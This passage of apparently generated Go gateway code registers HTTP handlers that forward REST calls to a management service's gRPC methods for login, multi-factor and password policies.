http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_CreateLoginPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreateLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateLoginPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_UpdateLoginPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveLoginPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_RemoveLoginPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_GetLoginPolicyIdpProviders_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetLoginPolicyIdpProviders_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetLoginPolicyIdpProviders_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_AddIdpProviderToLoginPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_AddIdpProviderToLoginPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_AddIdpProviderToLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveIdpProviderFromLoginPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_RemoveIdpProviderFromLoginPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveIdpProviderFromLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetLoginPolicySecondFactors_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetLoginPolicySecondFactors_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetLoginPolicySecondFactors_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_AddSecondFactorToLoginPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_AddSecondFactorToLoginPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_AddSecondFactorToLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveSecondFactorFromLoginPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_RemoveSecondFactorFromLoginPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveSecondFactorFromLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetLoginPolicyMultiFactors_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetLoginPolicyMultiFactors_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetLoginPolicyMultiFactors_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_AddMultiFactorToLoginPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_AddMultiFactorToLoginPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_AddMultiFactorToLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveMultiFactorFromLoginPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_RemoveMultiFactorFromLoginPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveMultiFactorFromLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetPasswordComplexityPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetPasswordComplexityPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetPasswordComplexityPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetDefaultPasswordComplexityPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetDefaultPasswordComplexityPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetDefaultPasswordComplexityPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreatePasswordComplexityPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_CreatePasswordComplexityPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreatePasswordComplexityPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdatePasswordComplexityPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_UpdatePasswordComplexityPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdatePasswordComplexityPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemovePasswordComplexityPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_RemovePasswordComplexityPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemovePasswordComplexityPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetPasswordAgePolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetPasswordAgePolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetPasswordAgePolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetDefaultPasswordAgePolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetDefaultPasswordAgePolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetDefaultPasswordAgePolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreatePasswordAgePolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_CreatePasswordAgePolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreatePasswordAgePolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdatePasswordAgePolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_UpdatePasswordAgePolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdatePasswordAgePolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemovePasswordAgePolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_RemovePasswordAgePolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemovePasswordAgePolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetPasswordLockoutPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetPasswordLockoutPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetPasswordLockoutPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetDefaultPasswordLockoutPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetDefaultPasswordLockoutPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, 